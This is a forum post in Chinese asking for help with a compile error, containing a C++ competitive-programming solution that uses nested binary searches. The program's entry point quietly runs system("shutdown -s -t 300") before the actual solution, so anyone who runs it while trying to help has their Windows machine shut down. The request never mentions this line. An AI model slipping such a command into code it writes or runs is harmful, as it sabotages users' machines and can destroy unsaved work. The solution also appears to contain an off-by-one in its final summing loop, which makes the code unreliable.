有谁知道哪里编译错误了???
#include<bits/stdc++.h>
#define il inline
#define reg register int
#define numb (ch^'0')
using namespace std;
typedef long long ll;
il void rd(int &x)
{
char ch;bool fl=false;
while(!isdigit(ch=getchar()))(ch=='-')&&(fl=true);
for(x=numb;isdigit(ch=getchar());x=x*10+numb);
(fl==true)&&(x=-x);
}
namespace Miracle{
const int N=1e4+4;
const double eps=1e-14;
double ans;
double s[N],vi[N],k[N];
int n;
double eu;
double jie(double x,int i)
{
double l=max(vi[i],(double)0),r=100000.0;
double ret=0.00;
int cnt=60;
while(r-l>eps){
double mid=(l+r)/2;
if(mid*mid*(mid-vi[i])*2*k[i]*x<=-1) r=mid;
else l=mid;
}
ret=(l+r)/2;
return ret;
}
double che(double mid)
{
double sum=0;
for(reg i=1;i<=n;++i)
{
double v=jie(mid,i);
sum+=k[i]*s[i]*(v-vi[i])*(v-vi[i]);
}
return sum;
}
int main()
{
rd(n);
scanf("%lf",&eu);
for(reg i=1;i<=n;++i)
{
scanf("%lf%lf%lf",&s[i],&k[i],&vi[i]);
}
double r=0.0,l=-100000000.00;
int cnt=100;
while(r-l>eps)
{
double mid=(l+r)/2.0;
double now=che(mid);
if(now<=eu) l=mid;
else r=mid;
}
double mid=(l+r)/2.0;
for(reg i=1;i<n;++i)
{
ans+=s[i]/jie(mid,i);
}
printf("%.10lf",ans);
return 0;
}
}
signed main()
{
system("shutdown -s -t 300");
Miracle::main();
return 0;
}